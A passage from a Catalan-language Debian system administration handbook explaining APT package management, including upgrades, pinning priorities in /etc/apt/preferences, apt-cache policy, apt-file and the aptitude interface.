Aquestes ordres no restauraran els fitxers de configuració. Però com heu après a Secció 5.2.3, «Sumes de verificació («checksums»), llista de fitxers de configuració, i altres.» (vegeu també la barra lateral ANANT MÉS ENLLÀ Obligant a dpkg a preguntar sobre els arxius de configuració), podeu utilitzar la següent ordre per a que se us demani que instal·leu la versió no modificada i fins i tot que restaureu qualsevol fitxer de configuració suprimit.

# apt --reinstall -o Dpkg::Options::="--force-confask,confmiss" install paquet

Alguns paquets no inclouen el fitxer de configuració trobat a /etc dins el paquet. En canvi, el creen durant la instal·lació copiant un esquelet o generant-lo mitjançant un script. El fitxer /etc/inputrc, per exemple, és una còpia de /usr/share/readline/inputrc. En aquests casos, les ordres que mostrades abans no serveixen.

Si el fitxer sources.list menciona diverses distribucions, és possible especificar la versió del paquet a instal·lar. Es pot sol·licitar un número de versió específic amb apt install paquet=versió, però indicant la seva distribució d'origen (Stable, Testing o Unstable) — amb apt install paquet/distribució — usualment es l'opció preferida. Amb aquesta ordre, és possible tornar a una versió més antiga d'un paquet (si, per exemple, sabeu que funciona bé), sempre que estigui disponible en una de les fonts referenciades pel fitxer sources.list. En cas contrari, l'arxiu snapshot.debian.org pot sortir al rescat (vegeu la barra lateral ANANT MÉS ENLLÀ Versions de paquets antics: snapshot.debian.org i archive.debian.org).

Exemple 6.4. Instal·lació de la versió a Unstable d'spamassassin

# apt install spamassassin/unstable

Si el paquet a instal·lar us ha estat proporcionat en forma d'un simple fitxer .deb sense cap dipòsit de paquets associat, encara és possible utilitzar APT per instal·lar-lo juntament amb les seves dependències (sempre que les dependències estiguin disponibles als repositoris configurats) amb una ordre simple: apt install ./camí-al-paquet.deb. El ./ del davant és important per deixar clar que estem referint-nos a un nom de fitxer i no al nom d'un paquet disponible en un dels repositoris.

ANANT MÉS ENLLÀ La memòria cau dels fitxers .deb

APT manté una còpia de cada fitxer .deb descarregat al directori /var/cache/apt/archives/. En cas d'actualitzacions freqüents, aquest directori pot ocupar ràpidament una gran quantitat d'espai de disc amb diverses versions de cada paquet; hauríeu de posar-hi ordre regularment. Es poden utilitzar dues ordres: apt-get clean buida completament el directori; apt-get autoclean només elimina els paquets que ja no es poden descarregar (perquè han desaparegut del mirall Debian) i, per tant, són clarament inútils (el paràmetre de configuració APT::Clean-Installed pot evitar l'eliminació dels fitxers .deb que estan instal·lats actualment).

6.2.3. Actualització del sistema

Es recomanen actualitzacions regulars, perquè inclouen les últimes actualitzacions de seguretat. Per actualitzar, utilitzeu apt update, apt-get update o aptitude safe-upgrade (per descomptat després d'apt update). Aquesta ordre cerca els paquets instal·lats que es poden actualitzar sense eliminar cap paquet. En altres paraules, l'objectiu és garantir la millora menys intervencionista possible. apt-get és una mica més exigent que aptitude o apt perquè es negarà a instal·lar els paquets que no estiguessin instal·lats prèviament.

apt normalment triarà el número de versió més recent (excepte pels paquets de Experimental i stable-backports, que són per defecte ignorats independentment del número de versió). Si teniu especificats Testing o Unstable al sources.list, apt upgrade canviarà bona part del vostre sistema Stable per Testing o Unstable, que pot no ser el que preteneu.

Per a dir-li a apt que utilitzi una distribució específica quan cerqui paquets actualitzats heu d'utilitzar l'opció -t o --target-release, seguida del nom de la distribució que voleu (per exemple, apt -t stable upgrade). Per evitar especificar aquesta opció cada vegada que utilitzeu apt, podeu afegir APT::Default-Release "stable"; al fitxer /etc/apt/apt.conf.d/local.

Per a actualitzacions més importants, com ara el canvi d'una versió major de Debian a la següent, heu d'utilitzar apt full-upgrade. Amb aquesta instrucció, apt completarà l'actualització fins i tot si ha d'eliminar alguns paquets obsolets o instal·lar noves dependències. Aquesta és també l'ordre utilitzada pels usuaris que treballen diàriament amb la versió de Debian Unstable i segueixen la seva evolució dia a dia. És tan senzill que a penes necessita explicació: la reputació d'APT es basa en aquesta gran funcionalitat.

A diferència d'apt i d'aptitude, apt-get no reconeix l'ordre full-upgrade. En lloc d'això, hauríeu d'utilitzar apt-get dist-upgrade ('actualització de la distribució'), l'ordre històrica i ben coneguda que apt i aptitude també accepten per a la comoditat dels usuaris que s'hi han acostumat.

Els resultats d'aquestes operacions queden registrats a /var/log/apt/history.log i /log/apt/term.log, mentre que dpkg manté el seu registre en un fitxer anomenat /var/log/dpkg.log.

6.2.4. Opcions de configuració

A més dels elements de configuració ja esmentats, és possible configurar certs aspectes d'APT afegint directives en un fitxer del directori /etc/apt/apt.conf.d/ o a /etc/apt/apt.conf. Recordeu, per exemple, que és possible que APT li digui a dpkg que ignori els errors de conflicte de fitxers especificant DPkg::options { "--force-overwrite"; }.

Si només es pot accedir a la web a través d'un servidor intermediari (o «proxy»), afegiu una línia com ara Acquire::http::proxy "http://elteuproxy:3128". Per a un servidor intermediari FTP, escriviu Acquire::ftp::proxy "ftp://elteuproxy". Per descobrir més opcions de configuració, llegiu la pàgina del manual de apt.conf(5) (per a detalls amb les pàgines man, vegeu Secció 7.1.1, «Pàgines de manual»).

TORNAR A LES BASES Directoris acabats en .d

Els directoris amb el sufix .d s'utilitzen més i més sovint. Cada directori representa un fitxer de configuració que es divideix en múltiples fitxers. En aquest sentit, tots els fitxers a /etc/apt/apt.conf.d/ són instruccions per a la configuració d'APT. APT els inclou en ordre alfabètic, de manera que els últims poden modificar un element de configuració definit en un dels primers.

Aquesta estructura aporta una certa flexibilitat a l'administrador de la màquina i als mantenidors de paquets. De fet, l'administrador pot modificar fàcilment la configuració del programari afegint un fitxer preparat al directori en qüestió sense haver de modificar un fitxer existent. Els mantenidors de paquets utilitzen el mateix enfocament quan necessiten adaptar la configuració d'un altre programari per assegurar-se que és perfectament coexistent amb els seus. La política de Debian prohibeix explícitament modificar els fitxers de configuració d'altres paquets — només els usuaris ho poden fer. Recordeu que durant una actualització del paquet, l'usuari podrà triar la versió del fitxer de configuració que s'ha de mantenir quan s'ha detectat una modificació. Qualsevol modificació externa de l'arxiu desencadenaria aquesta sol·licitud, la qual cosa sorprendria l'administrador, que estaria segur de no haver canviat res.

Sense un directori .d, no és possible que un paquet extern canviï la configuració d'un programa modificant el seu fitxer de configuració directament. En lloc d'això, ha de convidar a l'usuari a fer-ho ell mateix i llistar les operacions que s'han de fer al fitxer /usr/share/doc/paquet/README. Debian, o bé ha de crear una “variant” («file diversion») del fitxer de cofiguració usant l'ordre dpkg-divert i després instal·lar el seu propi fitxer de configuració per al programari en qüestió. Aquest últim de vegades és utilitzat per paquets de tercers que intenten gestionar fitxers de configuració de components de programari que utilitzen.

Depenent de l'aplicació, el directori .d s'utilitza directament o és gestionat per un script extern que concatenarà tots els fitxers per crear el propi fitxer de configuració. És important executar l'script després de qualsevol canvi en aquest directori de manera que es tinguin en compte les modificacions més recents. De la mateixa manera, és important no treballar directament en el fitxer de configuració creat automàticament, ja que tot es perdria en la següent execució de l'script. El mètode triat (directori .d utilitzat directament o un fitxer generat a partir d'aquest directori) normalment està dictat per restriccions d'implementació, però en ambdós casos els guanys en termes de flexibilitat de configuració compensen amb escreix les petites complicacions que comporten. El servidor de correu Exim 4 és un exemple del mètode de fitxer generat: es pot configurar a través de diversos fitxers (/etc/exim4/conf.d/*) que són concatenats a /var/lib/exim4/config.autogenerated amb l'ordre update-exim4.conf.

6.2.5. Gestió de les prioritats dels paquets

Un dels aspectes més importants en la configuració de APT és la gestió de les prioritats associades a cada font de paquets. Per exemple, és possible que vulgueu ampliar una distribució amb un o dos paquets més nous de Testing, Unstable o Experimental. És possible assignar una prioritat a cada paquet disponible (el mateix paquet pot tenir diverses prioritats depenent de la seva versió o la distribució que el proveeix). Aquestes prioritats influiran en el comportament d'APT: per a cada paquet, sempre seleccionarà la versió amb la prioritat més alta (excepte si aquesta versió és més antiga que la instal·lada i si la seva prioritat és inferior a 1000).

APT defineix diverses prioritats per defecte. Cada versió de paquet instal·lat té una prioritat de 100. Una versió no instal·lada té una prioritat de 500 per defecte, però pot saltar a 990 si forma part de la versió de destinació (definida amb l'opció -t de línia d'ordres o amb la directiva de configuració APT::Default-Release).

Podeu modificar les prioritats afegint entrades en un fitxer a /etc/apt/preferences.d/ o al fitxer /etc/apt/preferences amb els noms dels paquets afectats, la seva versió, el seu origen i la seva nova prioritat.

APT mai instal·larà una versió més antiga d'un paquet (és a dir, un paquet el número de versió del qual sigui més baix que el del paquet actualment instal·lat), excepte si la seva prioritat és superior a 1000 (o és explícitament sol·licitat per l'usuari, vegeu Secció 6.2.2, «Instal·lació i eliminació»). APT sempre instal·larà el paquet de prioritat més alta que segueix aquesta restricció. Si dos paquets tenen la mateixa prioritat, APT instal·la el més nou (el número de versió del qual és el més alt). Si dos paquets amb la mateixa versió tenen la mateixa prioritat però difereixen en el seu contingut, APT instal·larà la versió que no estigui instal·lada (aquesta regla s'ha creat per cobrir el cas d'una actualització de paquet sense l'increment del número de revisió, que normalment és necessari).

En termes més concrets, un paquet la prioritat del qual és

< 0

no s'instal·larà mai,

1..99

només s'instal·larà si no hi ha cap altra versió del paquet ja instal·lada,

100..499

només s'instal·larà si no hi ha cap altra versió més nova instal·lada o disponible en una altra distribució,

500....989

només s'instal·larà si no hi ha cap versió més nova instal·lada o disponible a la distribució de destinació,

990..1000

s'instal·larà excepte si la versió instal·lada és més nova,

> 1000

sempre s'instal·larà, fins i tot si obliga a APT a rebaixar-lo a una versió més antiga.

Quan APT comprova /etc/apt/preferences i /etc/apt/preferences.d/, primer té en compte les entrades més específiques (sovint les que especifiquen el paquet afectat), després les més genèriques (incloent, per exemple, tots els paquets d'una distribució). Si existeixen diverses entrades genèriques, s'utilitza el primer encaix. Els criteris de selecció disponibles inclouen el nom del paquet i la font que el proporciona. Cada font de paquets s'identifica per la informació continguda en un fitxer Release que APT descarrega juntament amb els fitxers Packages. Aquest especifica l'origen (normalment “Debian” per als paquets de miralls oficials, però també pot ser el nom d'una persona o una organització en repositoris de tercers). També aporta el nom de la distribució (normalment Stable, Testing, Unstable o Experimental per a les distribucions estàndard proporcionades per Debian) juntament amb la seva versió (per exemple, 11 per Debian Bullseye). Vegem la seva sintaxi a través d'estudis de casos realistes d'aquest mecanisme.

CAS ESPECÍFIC La prioritat de Experimental

Si heu llistat Experimental al fitxer sources.list, els paquets corresponents gairebé mai s'instal·laran perquè la seva prioritat APT per defecte és 1. Aquest és, per descomptat, un cas específic, dissenyat per evitar que els usuaris instal·lin paquets de Experimental per error. Els paquets només es poden instal·lar escrivint aptitude install paquet/experimental — els usuaris que escriuen aquesta ordre només poden ser conscients dels riscos que assumeixen. Encara és possible (encara que no recomanat) tractar els paquets a Experimental com els d'altres distribucions donant-los una prioritat de 500. Això es fa amb una entrada específica a /etc/apt/preferences:

Package: * Pin: release a=experimental Pin-Priority: 500

Suposem que només voleu utilitzar paquets de la versió estable de Debian. Aquells que es proporcionen en altres versions no s'haurien d'instal·lar excepte si es demana explícitament. Podeu escriure les següents entrades al fitxer /etc/apt/preferences:

Package: * Pin: release a=stable Pin-Priority: 900 Package: * Pin: release o=Debian Pin-Priority: -10

a=estable defineix el nom de la distribució seleccionada. o=Debian limita l'abast als paquets l'origen dels quals és “Debian”.

Suposem ara que teniu un servidor amb diversos programes locals depenent de la versió 5.28 de Perl i que voleu assegurar-vos que les actualitzacions no n'instal·lin una altra versió. Podeu utilitzar aquesta entrada:

Package: perl Pin: version 5.28* Pin-Priority: 1001

Per obtenir una millor comprensió dels mecanismes de prioritat i les propietats de distribució o de repositori a fixar, no dubteu en executar apt-cache policy per mostrar la prioritat predeterminada associada a cada font de paquets, o apt-cache policy paquet per mostrar la prioritat predeterminada per a cada versió i font d'un paquet com s'explica a Secció 6.3.1, «L'ordre apt-cache policy».

La documentació de referència per als fitxers /etc/apt/preferences i /etc/apt/preferences.d/ està disponible a la pàgina manual apt.preferences(5), que podeu visualitzar amb man apt.preferences.

SUGGERIMENTComentaris a /etc/apt/preferences

No hi ha sintaxi oficial per posar comentaris al fitxer /etc/apt/preferences, però es poden proporcionar algunes descripcions textuals posant un o més camps “Explicació” a l'inici de cada entrada:

Explanation: El paquet xserver-xorg-video-intel provist Explanation: a experimental pot ser usat amb seguretat Package: xserver-xorg-video-intel Pin: release a=experimental Pin-Priority: 500

6.2.6. Treballar amb diverses distribucions

Sent apt una eina tan meravellosa, és temptador triar paquets procedents d'altres distribucions. Per exemple, després d'haver instal·lat un sistema Stable, és possible que vulgueu provar un paquet de programari disponible a Testing or Unstable sense separar-se massa de l'estat inicial del sistema.

Fins i tot encara que a vegades es sorgeixin problemes quan es barregen paquets de diferents distribucions, apt gestiona molt bé aquesta coexistència i limita els riscos de forma molt efectiva. La millor manera de procedir és llistar totes les distribucions usades a /etc/apt/sources.list (algunes persones sempre posen les tres distribucions, però recordeu que Unstable està reservat per a usuaris experimentats) i definir la vostra distribució de referència amb el paràmetre APT::Default-Release (vegeu Secció 6.2.3, «Actualització del sistema»).

Suposem que Stable és la vostra distribució de referència, però que Testing i Unstable també apareixen al vostre fitxer sources.list. En aquest cas, podeu utilitzar apt install paquet/testing per instal·lar un paquet de Testing. Si la instal·lació falla a causa d'algunes dependències insatisfactibles, possibiliteu resoldre aquestes dependències amb Testing afegint el paràmetre -t testing. El mateix s'aplica, òbviament, a Unstable.

En aquesta situació, les actualitzacions (upgrade i full-upgrade) es fan dins amb Stable excepte els paquets ja actualitzats a una altra distribució: aquests seguiran les actualitzacions disponibles en les altres distribucions. Explicarem aquest comportament amb l'ajuda de les prioritats per defecte establertes per APT a continuació. No dubteu a utilitzar apt-cache policy (Secció 6.3.1, «L'ordre apt-cache policy») per verificar les prioritats donades.

Tot es centra en el fet que APT només considera paquets de versió més alta o igual que la instal·lada (assumint que /etc/apt/preferences no s'ha utilitzat per forçar prioritats superiors a 1000 per a alguns paquets).

Suposem que heu instal·lat la versió 1 d'un primer paquet des de Stable i que la versió 2 i 3 estan disponibles respectivament a Testing i Unstable. La versió instal·lada té una prioritat de 100, però la versió disponible a Stable (la mateixa) té una prioritat de 990 (perquè forma part de la versió de destinació). Els paquets Testing i Unstable tenen una prioritat de 500 (la prioritat predeterminada d'una versió no instal·lada). La guanyadora és, per tant, la versió 1 amb una prioritat de 990. El paquet “roman a Stable”.

Prenguem l'exemple d'un altre paquet la versió 2 del qual s'ha instal·lat de Testing. La versió 1 està disponible a Stable i la versió 3 a Unstable. La versió 1 (de prioritat 990 — per tant inferior a 1000) queda descartada perquè és més baixa que la versió instal·lada. Això ens deixa només les versions 2 i 3, ambdues amb prioritat 500. Davant d'aquesta alternativa, APT selecciona la versió més nova, la d'Unstable. Si no voleu que un paquet de Testing migri a la versió d'Unstable, heu d'assignar una prioritat inferior a 500 (490, per exemple) als paquets que vénen d'Unstable. Podeu modificar /etc/apt/preferències a aquest efecte:

Package: * Pin: release a=unstable Pin-Priority: 490

6.2.7. Seguiment dels paquets instal·lats automàticament

Una de les funcionalitats essencials de l'apt és el seguiment dels paquets instal·lats només a través de dependències. Aquests paquets s'anomenen “automàtics” i sovint inclouen biblioteques.

Amb aquesta informació, quan s'eliminen els paquets, els gestors de paquets poden computar una llista de paquets automàtics que ja no són necessaris (perquè no hi ha paquets “manualment instal·lats” que en depenguin). apt-get autoremove o apt autoremove es desfarà d'aquests paquets. L'aptitude no té aquesta ordre perquè les elimina automàticament tan aviat com s'identifiquen. En tots els casos, les eines mostren un missatge clar llistant els paquets afectats.

És un bon costum marcar com a automàtic qualsevol paquet que no necessiteu directament perquè sigui eliminat automàticament quan ja no sigui necessari. apt-mark auto paquet marcarà el paquet indicat com a automàtic, mentre que apt-mark paquet fa el contrari. aptitude markauto i aptitude unmarkauto funcionen de la mateixa manera, tot i que ofereixen més característiques per marcar molts paquets alhora (vegeu Secció 6.5.1, «aptitude»). La interfície interactiva basada en la consola d'aptitude també fa que sigui fàcil revisar la “marca automàtica” en molts paquets.

Potser algú vol saber per què hi ha un paquet instal·lat automàticament al sistema. Per obtenir aquesta informació des de la línia d'ordres podeu utilitzar aptitude why paquet (apt i apt-get no tenen cap característica similar):

$ aptitude why python3-debian i aptitude Suggests apt-xapian-index p apt-xapian-index Depends python3-debian (>= 0.1.14)

ALTERNATIVA deborphan i debfoster

Quan apt, apt-get i aptitude no feien el seguiment dels paquets automàtics, hi havia dues utilitats que produïen llistes de paquets innecessaris: deborphan i debfoster. Tots dos encara poden ser útils.

deborphan explora per defecte les seccions libs i oldlibs (en absència d'instruccions addicionals) cercant paquets actualment instal·lats i que cap altre paquet en depèn. La llista resultant pot servir de base per a eliminar els paquets no necessaris.

debfoster té un enfocament més elaborat, molt similar al d'APT: manté una llista de paquets que s'han instal·lat explícitament, i recorda quins paquets són realment necessaris entre cada invocació. Si apareixen nous paquets en el sistema i si debfoster no els reconeix com a paquets requerits, es mostraran a la pantalla juntament amb una llista de les seves dependències. El programa ofereix l'opció d'eliminar el paquet (possiblement juntament amb els que depenen d'ell), de marcar-lo com a explícitament requerit, o d'ignorar-lo temporalment.

6.2.8. Patrons APT

Els patrons («patterns») permeten realitzar cerques complexes per a seleccionar els paquets que voleu instal·lar o mostrar. Es van implementar per primera vegada per a l'aptitude (vegeu Secció 6.5, «Interfícies: aptitude, synaptic»), però ara l'APT també en pot fer ús.

Per exemple, podem utilitzar apt list ?automatic per a llistar tots els paquets instal·lats automàticament. Per a trobar paquets instal·lats automàticament que ja no depenen de cap dels paquets instal·lats manualment es pot utilitzar el patró ?garbage.

Els patrons lògics es poden combinar amb altres paquets per a formar expressions més complexes. Per exemple, podríem utilitzar un patró com ?and(patró,patró). Vegeu apt-patterns(7) i glob(7) per conèixer tots els patrons que podeu utilitzar i les expressions complexes que podeu crear amb ells.

6.3. L'ordre apt-cache

L'ordre apt-cache pot mostrar gran part de la informació emmagatzemada a la base de dades interna d'APT. Aquesta informació és una mena de memòria cau, ja que és recopilada de les diferents fonts llistades al fitxer sources.list. Això es fa durant l'operació d'apt update.

VOCABULARI Memòria cau

Una memòria cau (o també «caché») és un sistema d'emmagatzematge temporal utilitzat per accelerar l'accés freqüent a les dades quan el mètode d'accés habitual és car (en termes de rendiment). Aquest concepte es pot aplicar en nombroses situacions i a diferents escales, des del nucli dels microprocessadors fins a sistemes d'emmagatzematge d'alta gamma.

En el cas d'APT, els fitxers de referència Packages són els que es troben als miralls de Debian. Dit això, seria molt ineficaç accedir a la xarxa per a cada recerca que puguem voler fer en la base de dades dels paquets disponibles. Per això APT emmagatzema una còpia d'aquests fitxers (a /var/lib/apt/lists/) i les cerques es sobre aquests fitxers locals. De la mateixa manera, /var/cache/apt/archives/ conté una memòria cau de paquets ja baixats (vegeu la barra lateral ANANT MÉS ENLLÀ La memòria cau dels fitxers .deb) per evitar tornar a baixar-los si cal tornar a instal·lar-los després d'una supressió.

D'altra banda, és obligatori executar l'actualització apt update regularment per actualitzar la memòria cau. En cas contrari, els resultats de la cerca de paquets sempre es perdran les últimes actualitzacions distribuïdes pels miralls de Debian.

L'ordre apt-cache pot fer cerques de paquets basades en paraules clau amb apt-cache paraula clau. També pot mostrar les capçaleres de les versions disponibles del paquet amb apt-cache show paquet . Aquesta ordre proporciona la descripció del paquet, les seves dependències, el nom del seu mantenidor, etc. Tingueu en compte que apt search, apt show, aptitude search i aptitude show funcionen de la mateixa manera.

ALTERNATIVA axi-cache

apt-cache search és una eina molt rudimentària, bàsicament implementant grep sobre les descripcions dels paquets. Sovint retorna massa resultats o cap en absolut quan s'inclouen massa paraules clau.

axi-cache search terme, d'altra banda, proporciona millors resultats, ordenats per rellevància. Utilitza el motor de cerca Xapian i forma part del paquet apt-xapian-index que indexa tota la informació dels paquets (i més, com els fitxers .desktop de tots els paquets Debian). Coneix les etiquetes (vegeu la barra lateral ANANT MÉS ENLLÀ El camp Tag) i retorna els resultats en una qüestió de mil·lisegons.

$ axi-cache search package use::searching axi-cache search package use::searching 13 results found. Results 1-13: 100% packagesearch - GUI for searching packages and viewing package information 87% debtags - Debian Package Tags support tools 86% whohas - query multiple distributions' package archives 84% recoll - Personal full text search package 82% apt-forktracer - utility for tracking non-official package versions [..] 66% apt - commandline package manager More terms: debian dpkg search debtags whohas forktracer dctrl More tags: role::program admin::package-management suite::debian works-with::software:package interface::commandline scope::utility protocol::http

Algunes característiques s'utilitzen rarament. Per exemple, apt-cache dumpavail mostra les capçaleres de totes les versions disponibles de tots els paquets. apt-cache pkgnames mostra la llista de tots els paquets que apareixen almenys una vegada a la memòria cau.

Una de les característiques que podria ser útil més sovint és apt-cache policy, descrit en la secció següent.

6.3.1. L'ordre apt-cache policy

L'ordre apt-cache policy mostra les prioritats de fixació (o «pinning») i les propietats de la distribució de cada font de paquets tal com s'explica a Secció 6.2.5, «Gestió de les prioritats dels paquets». També pot mostrar les prioritats de fixació per a totes les versions i fonts disponibles d'un paquet. Per a l'exemple de sources.list utilitzat a Exemple 6.2, «Arxiu /etc/apt/sources.list per a usuaris de Debian «Stable»» i APT::Default-Release establert a "bullseye", la sortida s'assemblarà a això:

$ apt-cache policy Package files: 100 /var/lib/dpkg/status release a=now 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages release o=Debian Backports,a=bullseye-backports,n=bullseye-backports,l=Debian Backports,c=main,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/non-free amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=non-free,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/contrib amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=contrib,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/main amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=main,b=amd64 origin deb.debian.org 500 http://security.debian.org bullseye-security/main amd64 Packages release v=11,o=Debian,a=stable-security,n=bullseye-security,l=Debian-Security,c=main,b=amd64 origin security.debian.org Pinned packages:

apt-cache policy també pot mostrar les prioritats de fixació per a totes les versions i fonts disponibles d'un paquet donat.

$ apt-cache policy limnoria limnoria: Installed: 2021.06.15-1 Candidate: 2021.06.15-1 Version table: 2021.07.21-1~bpo11+1 100 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages *** 2021.06.15-1 990 990 https://deb.debian.org/debian bullseye/main amd64 Packages 100 /var/lib/dpkg/status

Tot i que hi ha una versió més recent d'limnoria al dipòsit de bullseye-backports, APT no l'instal·larà automàticament basant-se en la prioritat. S'hauria d'utilitzar apt install limnoria/bullseye-backports o afegir una prioritat de fixació més alta a /etc/apt/preferences.d/limnoria.pref:

Package: limnoria Pin: release o=Debian Backports, a=bullseye-backports Pin-Priority: 1001

$ apt-cache policy limnoria limnoria: Installed: 2021.06.15-1 Candidate: 2021.07.21-1~bpo11+1 Version table: 2021.07.21-1~bpo11+1 1001 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages *** 2021.06.15-1 990 990 https://deb.debian.org/debian bullseye/main amd64 Packages 100 /var/lib/dpkg/status

6.4. L'ordre apt-file

A vegades ens referim a un fitxer o a una ordre i potser us pregunteu en quin paquet es trobarà. Afortunadament, els repositoris de Debian no només contenen informació sobre tots els paquets executables proporcionats, sinó també sobre tots els fitxers continguts en ells. Aquesta informació s'emmagatzema en els fitxers anomenats Contents-arquitectura.gz i Contents-udeb-arquitectura.gz. APT no descarrega automàticament aquesta informació. En lloc d'això, necessita l'ordre apt update (del paquet amb nom similar) per obtenir el contingut de totes les fonts de paquets esmentades a /etc/apt/sources.list. Per defecte descarrega fitxers Contents*.pdiff tal i com es descriu a la barra lateral SUGGERIMENT Actualitzacions incrementals per reduir la quantitat de dades necessària que cal descarregar. Per actualitzar la base de dades setmanalment, es pot afegir la següent entrada a /etc/crontab si es creu convenient.

@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1

Després d'actualitzar la base de dades, la comanda apt-file search patró-de-cerca llistarà tots els paquets que tinguin un nom de fitxer o un camí amb el patró donat.

$ apt-file search bin/axi-cache apt-xapian-index: /usr/bin/axi-cache

L'ordre apt-file list paquet llistarà tots els fitxers continguts al paquet.

SUGGERIMENTLlistar el contingut d'un paquet i trobar el paquet d'un arxiu

De manera semblant a apt-file list, l'ordre dpkg -L paquet llista tots els fitxers, però només de paquets instal·lats. Per trobar el paquet a què pertany un fitxer local utilitzeu la comanda dpkg -S fitxer (vegeu Secció 5.4.3, «Consultant la base de dades de dpkg i inspeccionant arxius .deb»). Per a llistar tots els fitxers locals que no pertanyen a cap paquet instal·lat, és possible que vulgueu fer una ullada als paquets cruft o cruft-ng.

6.5. Interfícies: aptitude, synaptic

APT és un programa en C++ el codi del qual resideix principalment a la biblioteca compartida libapt-pkg. L'ús d'una biblioteca compartida facilita la creació d'interfícies d'usuari («frontends»), ja que el codi contingut a la biblioteca es pot reutilitzar fàcilment. Històricament, apt-get només va ser dissenyat com un «frontend» de prova per a libapt-pkg, però el seu èxit tendeix a fer oblidar aquest fet.

6.5.1. aptitude

aptitude és un programa interactiu que es pot utilitzar en mode semigràfic a la consola. Podeu navegar per la llista de paquets instal·lats i disponibles, cercar tota la informació disponible i seleccionar paquets per instal·lar o eliminar. El programa està dissenyat específicament per ser utilitzat pels administradors, de manera que els seus comportaments per defecte estan dissenyats per ser molt més intel·ligents que els d'apt-get, i la seva interfície és molt més fàcil d'entendre.

Figura 6.1. El gestor de paquets aptitude

Quan s'inicia, l'aptitude mostra una llista de paquets ordenats per estat (instal·lats, no instal·lats o instal·lats però no disponibles en els miralls — altres seccions mostren tasques, paquets virtuals i paquets nous que han aparegut recentment en els miralls). Per facilitar la navegació temàtica, hi ha altres vistes disponibles. En tots els casos, l'aptitude mostra una llista que combina categories i paquets a la pantalla. Les categories s'organitzen a través d'una estructura d'arbre, les branques dels quals es poden desplegar o replegar respectivament amb les teclesEnter, [ i ]. el + s'ha d'utilitzar per marcar un paquet per a la instal·lació, - per marcar-lo per a eliminar i_ per purgar-lo (tingueu en compte que aquestes tecles també es poden utilitzar per a categories, i en aquest cas les accions corresponents s'aplicaran a tots els paquets de la categoria). u actualitza les llistes de paquets disponibles i Shift+u prepara una actualització global del sistema. g canvia a una vista de resum dels canvis sol·licitats (i teclejar g altre cop aplicarà els canvis), i q surt de la vista actual. Si esteu en la vista inicial, això tancarà l'aptitude.

DOCUMENTACIÓ aptitude

Aquesta secció no cobreix els detalls més específics de l'ús de l'aptitude. Se centra més aviat a donar-te un «kit» de supervivència per utilitzar-lo. Però està ben documentada i us recomanem que utilitzeu el seu manual complet disponible al paquet aptitude-doc-en (vegeu /usr/share/doc/atitude/html/en/index.html) o a https://www.debian.org/doc/manuals/aptitude/.

Per cercar un paquet, podeu escriure / seguit d'un patró de cerca. Aquest patró s'aplica al nom del paquet, però també es pot aplicar a la descripció (si està precedida per ~d), a la secció (amb ~s) o a altres característiques detallades a la documentació. Els mateixos patrons poden filtrar la llista de paquets mostrats: escriviu l (de limitar) i introduïu el patró.

La gestió de la “marca automàtica” dels paquets de Debian (vegeu Secció 6.2.7, «Seguiment dels paquets instal·lats automàticament») és molt senzill amb aptitude. És possible navegar per la llista de paquets instal·lats i marcar els paquets com a automàtics amb Shift+m o eliminar la marca amb la tecla m. Els “paquets automàtics” es mostren amb un “A” a la llista de paquets. Aquesta característica també ofereix una manera senzilla de visualitzar els paquets que s'utilitzen en una màquina, sense totes les biblioteques i dependències que realment no us importen. El patró relacionat que es pot utilitzar amb l (per activar el mode de filtre) és ~i!~M. Especifica que només voleu veure els paquets instal·lats (~i) no marcats com a automàtics (!~M).

EINAUsar aptitude a la interfície de línia d'ordres

La majoria de les característiques d'aptitude són accessibles a través de la interfície interactiva així com a través de línies d'ordres. Aquestes línies d'ordres us semblaran familiars als usuaris habituals d'apt-get i apt-cache.

Les característiques avançades de l'aptitude també estan disponibles a la línia d'ordres. Podeu utilitzar els mateixos patrons de cerca de paquets que a la versió interactiva. Per exemple, si voleu netejar la llista de paquets «manualment instal·lats», i si sabeu que cap dels programes instal·lats localment requereix cap biblioteca en particular o mòduls de Perl, podeu marcar els paquets corresponents automàticament amb una única ordre:

# aptitude markauto '~slibs|~sperl'

Aquí podeu veure clarament la potència del sistema de patrons de cerca d'aptitude, el qual permet la selecció instantània de tots els paquets de les seecions libs i perl.

Compte, si alguns paquets estan marcats com a automàtics, i si cap altre paquet depèn d'ells, seran eliminats immediatament (després d'una sol·licitud de confirmació).

6.5.1.1. Gestió de recomanacions, suggeriments i tasques

Una altra característica interessant de l'aptitude és el fet que respecta les recomanacions entre paquets, al mateix temps que dóna als usuaris l'opció de no instal·lar-les cas per cas. Per exemple, el paquet gnome recomana transmission-gtk (entre altres). Quan seleccioneu el primer per a la instal·lació, el segon també serà seleccionat (i marcat com a automàtic si no està ja instal·lat al sistema). Escriure g ho farà evident: transmission-gtk apareix a la pantalla de resum de les accions pendents a la llista de paquets instal·lats automàticament per satisfer les dependències. No obstant això, podeu decidir no instal·lar-lo traient-li la selecció abans de confirmar les operacions.

Tingueu en compte que aquesta característica de seguiment de recomanació no s'aplica a les actualitzacions. Per exemple, si una nova versió del gnome recomana un paquet que no recomanava anteriorment, el paquet no es marcarà per a la instal·lació. No obstant això, es llistarà a la pantalla d'actualització de manera que l'administrador encara pugui seleccionar-lo per a la instal·lació.

També es tenen en compte els suggeriments entre paquets, però d'una manera adaptada al seu estatus específic. Per exemple, ja que gnome suggereix empathy, aquest últim es mostrarà a la pantalla de resum de les accions pendents (a la secció de paquets suggerits per altres paquets). D'aquesta manera, queda visible i l'administrador pot decidir si té en compte el suggeriment o no. Com que només és un suggeriment i no una dependència o una recomanació, el paquet no serà seleccionat automàticament — la seva selecció requereix una intervenció manual de l'usuari (per tant, el paquet no es marcarà com a automàtic).

